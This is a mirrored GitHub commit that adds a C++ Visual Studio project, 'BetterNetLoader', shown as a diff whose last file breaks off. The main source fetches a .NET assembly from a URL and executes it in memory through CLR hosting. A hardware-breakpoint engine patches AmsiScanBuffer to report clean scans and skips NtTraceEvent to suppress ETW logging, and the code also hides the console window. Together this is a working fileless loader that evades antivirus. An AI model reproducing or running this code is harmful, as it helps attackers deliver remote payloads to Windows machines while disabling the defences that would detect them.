mirror of
https://github.com/racoten/BetterNetLoader
synced 2026-06-08 16:54:45 +00:00
Add files via upload
This commit is contained in:
racoten
@@ -0,0 +1,28 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.12.35527.113 d17.12
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BetterNetLoader", "BetterNetLoader\BetterNetLoader.vcxproj", "{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x64.Build.0 = Debug|x64
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x86.Build.0 = Debug|Win32
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x64.ActiveCfg = Release|x64
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x64.Build.0 = Release|x64
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x86.ActiveCfg = Release|Win32
|
||||
{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,288 @@
|
||||
#include <Windows.h>
|
||||
#include <metahost.h>
|
||||
#include <stdio.h>
|
||||
#include <ntstatus.h>
|
||||
#include <wininet.h>
|
||||
|
||||
#include "HwBpEngine.h"
|
||||
|
||||
#pragma comment(lib, "mscoree.lib")
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
|
||||
#define PIPE_BUFFER_LENGTH 0x10000 * 5
|
||||
|
||||
namespace mscorlib {
|
||||
#include "mscorlib.h"
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL ReadFileFromURLA(
|
||||
IN LPCSTR url,
|
||||
OUT PBYTE* ppFileBuffer,
|
||||
OUT PDWORD pdwFileSize
|
||||
) {
|
||||
HINTERNET hInternet = NULL, hConnect = NULL;
|
||||
PBYTE pBaseAddress = NULL;
|
||||
DWORD dwFileSize = 0, dwBytesRead = 0, totalBytesRead = 0;
|
||||
|
||||
if (!url || !ppFileBuffer || !pdwFileSize) {
|
||||
printf("[-] Invalid parameters passed to ReadFileFromURLA.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hInternet = InternetOpenA("FileDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||
if (!hInternet) {
|
||||
printf("[-] InternetOpenA failed with error: %lu\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
|
||||
if (!hConnect) {
|
||||
printf("[-] InternetOpenUrlA failed for URL: %s, Error: %lu\n", url, GetLastError());
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pBaseAddress = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024); // Start with 1MB buffer
|
||||
if (!pBaseAddress) {
|
||||
printf("[-] HeapAlloc failed. Error: %lu\n", GetLastError());
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
do {
|
||||
if (totalBytesRead + 1024 > dwFileSize) {
|
||||
dwFileSize = (dwFileSize + 1024) * 2;
|
||||
PBYTE newBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize);
|
||||
if (!newBuffer) {
|
||||
printf("[-] HeapReAlloc failed. Error: %lu\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, pBaseAddress);
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
pBaseAddress = newBuffer;
|
||||
}
|
||||
|
||||
if (!InternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead)) {
|
||||
printf("[-] InternetReadFile failed. Error: %lu\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, pBaseAddress);
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
totalBytesRead += dwBytesRead;
|
||||
} while (dwBytesRead > 0);
|
||||
|
||||
*pdwFileSize = totalBytesRead;
|
||||
*ppFileBuffer = pBaseAddress;
|
||||
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
HRESULT DotnetExecute(
|
||||
_In_ PBYTE AssemblyBytes,
|
||||
_In_ ULONG AssemblySize,
|
||||
_In_ PWSTR AppDomainName,
|
||||
_In_ PWSTR Arguments,
|
||||
_Out_ LPSTR* OutputBuffer,
|
||||
_Out_ PULONG OutputLength
|
||||
) {
|
||||
HRESULT HResult = {};
|
||||
ICLRMetaHost* IMetaHost = {};
|
||||
ICLRRuntimeInfo* IRuntimeInfo = {};
|
||||
ICorRuntimeHost* IRuntimeHost = {};
|
||||
IUnknown* IAppDomainThunk = {};
|
||||
mscorlib::_AppDomain* AppDomain = {};
|
||||
mscorlib::_Assembly* Assembly = {};
|
||||
mscorlib::_MethodInfo* MethodInfo = {};
|
||||
SAFEARRAYBOUND SafeArrayBound = {};
|
||||
SAFEARRAY* SafeAssembly = {};
|
||||
SAFEARRAY* SafeExpected = {};
|
||||
SAFEARRAY* SafeArguments = {};
|
||||
PWSTR* AssemblyArgv = {};
|
||||
ULONG AssemblyArgc = {};
|
||||
LONG Index = {};
|
||||
VARIANT VariantArgv = {};
|
||||
BOOL IsLoadable = {};
|
||||
HWND ConExist = {};
|
||||
HWND ConHandle = {};
|
||||
HANDLE BackupHandle = {};
|
||||
HANDLE IoPipeRead = {};
|
||||
HANDLE IoPipeWrite = {};
|
||||
SECURITY_ATTRIBUTES SecurityAttr = {};
|
||||
HANDLE ExceptionHandle = {};
|
||||
|
||||
//
|
||||
// create the CLR instance
|
||||
//
|
||||
if ((HResult = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<PVOID*>(&IMetaHost)))) {
|
||||
printf("[-] CLRCreateInstance Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = IMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast<PVOID*>(&IRuntimeInfo)))) {
|
||||
printf("[-] IMetaHost->GetRuntime Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = IRuntimeInfo->IsLoadable(&IsLoadable)) || !IsLoadable) {
|
||||
printf("[-] IRuntimeInfo->IsLoadable Failed with Error: %lx (IsLoadable: %s)\n", HResult, IsLoadable ? "true" : "false");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<PVOID*>(&IRuntimeHost)))) {
|
||||
printf("[-] IRuntimeInfo->GetInterface Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = IRuntimeHost->Start())) {
|
||||
printf("[-] IRuntimeHost->Start Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk))) {
|
||||
printf("[-] IRuntimeHost->CreateDomain Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain)))) {
|
||||
printf("[-] IAppDomainThunk->QueryInterface Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
SafeArrayBound = { AssemblySize, 0 };
|
||||
SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound);
|
||||
|
||||
memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize);
|
||||
|
||||
HwbpEngineBreakpoint(0, GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer"));
|
||||
HwbpEngineBreakpoint(1, GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTraceEvent"));
|
||||
if (!(ExceptionHandle = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HwbpEngineHandler))) {
|
||||
printf("[-] AddVectoredContinueHandler Failed with Error: %lx\n", GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = AppDomain->Load_3(SafeAssembly, &Assembly))) {
|
||||
printf("[-] AppDomain->Load_3 Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = Assembly->get_EntryPoint(&MethodInfo))) {
|
||||
printf("[-] Assembly->get_EntryPoint Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = MethodInfo->GetParameters(&SafeExpected))) {
|
||||
printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (SafeExpected) {
|
||||
if (SafeExpected->cDims && SafeExpected->rgsabound[0].cElements) {
|
||||
SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
|
||||
if (wcslen(Arguments)) {
|
||||
AssemblyArgv = CommandLineToArgvW(Arguments, (PINT)&AssemblyArgc);
|
||||
}
|
||||
|
||||
VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc);
|
||||
VariantArgv.vt = (VT_ARRAY | VT_BSTR);
|
||||
|
||||
for (Index = 0; Index < AssemblyArgc; Index++) {
|
||||
SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index]));
|
||||
}
|
||||
|
||||
Index = 0;
|
||||
SafeArrayPutElement(SafeArguments, &Index, &VariantArgv);
|
||||
SafeArrayDestroy(VariantArgv.parray);
|
||||
}
|
||||
}
|
||||
|
||||
SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE };
|
||||
if (!(CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH))) {
|
||||
printf("[-] CreatePipe Failed with Error: %lx\n", GetLastError());
|
||||
HResult = GetLastError();
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!(ConExist = GetConsoleWindow())) {
|
||||
AllocConsole();
|
||||
if ((ConHandle = GetConsoleWindow())) {
|
||||
ShowWindow(ConHandle, SW_HIDE);
|
||||
}
|
||||
}
|
||||
|
||||
BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite);
|
||||
|
||||
if ((HResult = MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr))) {
|
||||
printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((*OutputBuffer = static_cast<LPSTR>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH)))) {
|
||||
if (!ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr)) {
|
||||
printf("[-] ReadFile Failed with Error: %lx\n", GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
}
|
||||
else {
|
||||
HResult = ERROR_NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
|
||||
_END_OF_FUNC:
|
||||
HwbpEngineBreakpoint(0, nullptr);
|
||||
HwbpEngineBreakpoint(1, nullptr);
|
||||
RemoveVectoredExceptionHandler(ExceptionHandle);
|
||||
|
||||
if (BackupHandle) {
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle);
|
||||
}
|
||||
|
||||
if (IoPipeRead) {
|
||||
CloseHandle(IoPipeRead);
|
||||
}
|
||||
|
||||
if (IoPipeWrite) {
|
||||
CloseHandle(IoPipeWrite);
|
||||
}
|
||||
|
||||
if (AssemblyArgv) {
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AssemblyArgv);
|
||||
AssemblyArgv = nullptr;
|
||||
}
|
||||
|
||||
if (SafeAssembly) {
|
||||
SafeArrayDestroy(SafeAssembly);
|
||||
SafeAssembly = nullptr;
|
||||
}
|
||||
|
||||
if (SafeArguments) {
|
||||
SafeArrayDestroy(SafeArguments);
|
||||
SafeArguments = nullptr;
|
||||
}
|
||||
|
||||
if (MethodInfo) {
|
||||
MethodInfo->Release();
|
||||
}
|
||||
|
||||
if (IRuntimeHost) {
|
||||
IRuntimeHost->Release();
|
||||
}
|
||||
|
||||
if (IRuntimeInfo) {
|
||||
IRuntimeInfo->Release();
|
||||
}
|
||||
|
||||
if (IMetaHost) {
|
||||
IMetaHost->Release();
|
||||
}
|
||||
|
||||
return HResult;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="BetterNetLoader.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="HwBpEngine.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="mscorlib.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="HwBpEngine.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DotnetExecute.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,143 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{5f4443d9-86ff-4bfc-8fb8-e1db1509c948}</ProjectGuid>
|
||||
<RootNamespace>ExecuteAssemblyNamedPipes</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>BetterNetLoader</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="BetterNetLoader.cpp" />
|
||||
<ClCompile Include="HwBpEngine.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="DotnetExecute.h" />
|
||||
<ClInclude Include="HwBpEngine.h" />
|
||||
<ClInclude Include="mscorlib.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="HwBpEngine.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="BetterNetLoader.cpp">
|
||||
<Filter>Source</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="mscorlib.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="HwBpEngine.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DotnetExecute.h">
|
||||
<Filter>Header</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="Source">
|
||||
<UniqueIdentifier>{bd664979-cf07-4c0e-bd84-745823d4e1aa}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Header">
|
||||
<UniqueIdentifier>{6d1a61fd-07e6-474a-b6c4-c3877f989f8b}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
HRESULT DotnetExecute(
|
||||
_In_ PBYTE AssemblyBytes,
|
||||
_In_ ULONG AssemblySize,
|
||||
_In_ PWSTR AppDomainName,
|
||||
_In_ PWSTR Arguments,
|
||||
_Out_ LPSTR* OutputBuffer,
|
||||
_Out_ PULONG OutputLength
|
||||
);
|
||||
|
||||
BOOL ReadFileFromURLA(
|
||||
IN LPCSTR url,
|
||||
OUT PBYTE* ppFileBuffer,
|
||||
OUT PDWORD pdwFileSize
|
||||
);
|
||||
@@ -0,0 +1,78 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
BOOL HwbpEngineBreakpoint(
|
||||
_In_ ULONG Position,
|
||||
_In_ PVOID Function
|
||||
) {
|
||||
CONTEXT Context = {};
|
||||
|
||||
SecureZeroMemory(&Context, sizeof(Context));
|
||||
|
||||
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (!GetThreadContext(GetCurrentThread(), &Context)) {
|
||||
printf("[-] GetThreadContext Failed with Error: %lx\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
if (Function) {
|
||||
(&Context.Dr0)[Position] = (UINT_PTR)Function;
|
||||
|
||||
Context.Dr7 &= ~(3ull << (16 + 4 * Position));
|
||||
Context.Dr7 &= ~(3ull << (18 + 4 * Position));
|
||||
Context.Dr7 |= 1ull << (2 * Position);
|
||||
}
|
||||
else {
|
||||
(&Context.Dr0)[Position] = 0;
|
||||
Context.Dr7 &= ~(1ull << (2 * Position));
|
||||
}
|
||||
|
||||
if (!SetThreadContext(GetCurrentThread(), &Context)) {
|
||||
printf("[-] SetThreadContext Failed with Error: %lx\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL HwbpEngineHandler(
|
||||
_Inout_ PEXCEPTION_POINTERS Exceptions
|
||||
) {
|
||||
LONG Result = {};
|
||||
PVOID AmsiAddress = {};
|
||||
PVOID EtwAddress = {};
|
||||
PEXCEPTION_RECORD Exception = {};
|
||||
PCONTEXT Context = {};
|
||||
UINT_PTR Return = {};
|
||||
PULONG ScanResult = {};
|
||||
|
||||
AmsiAddress = GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer");
|
||||
EtwAddress = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
|
||||
Exception = Exceptions->ExceptionRecord;
|
||||
Context = Exceptions->ContextRecord;
|
||||
|
||||
if (Exception->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
if (Exception->ExceptionAddress == AmsiAddress)
|
||||
{
|
||||
Return = *(PULONG_PTR)Context->Rsp;
|
||||
ScanResult = (PULONG)(*(PULONG_PTR)(Context->Rsp + (6 * sizeof(PVOID))));
|
||||
*ScanResult = 0;
|
||||
Context->Rip = Return;
|
||||
Context->Rsp += sizeof(PVOID);
|
||||
Context->Rax = S_OK;
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
if (Exception->ExceptionAddress == EtwAddress)
|
||||
{
|
||||
Context->Rip = *(PULONG_PTR)Context->Rsp;
|
||||
Context->Rsp += sizeof(PVOID);
|
||||
Context->Rax = STATUS_SUCCESS;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
}
|
||||
|
||||
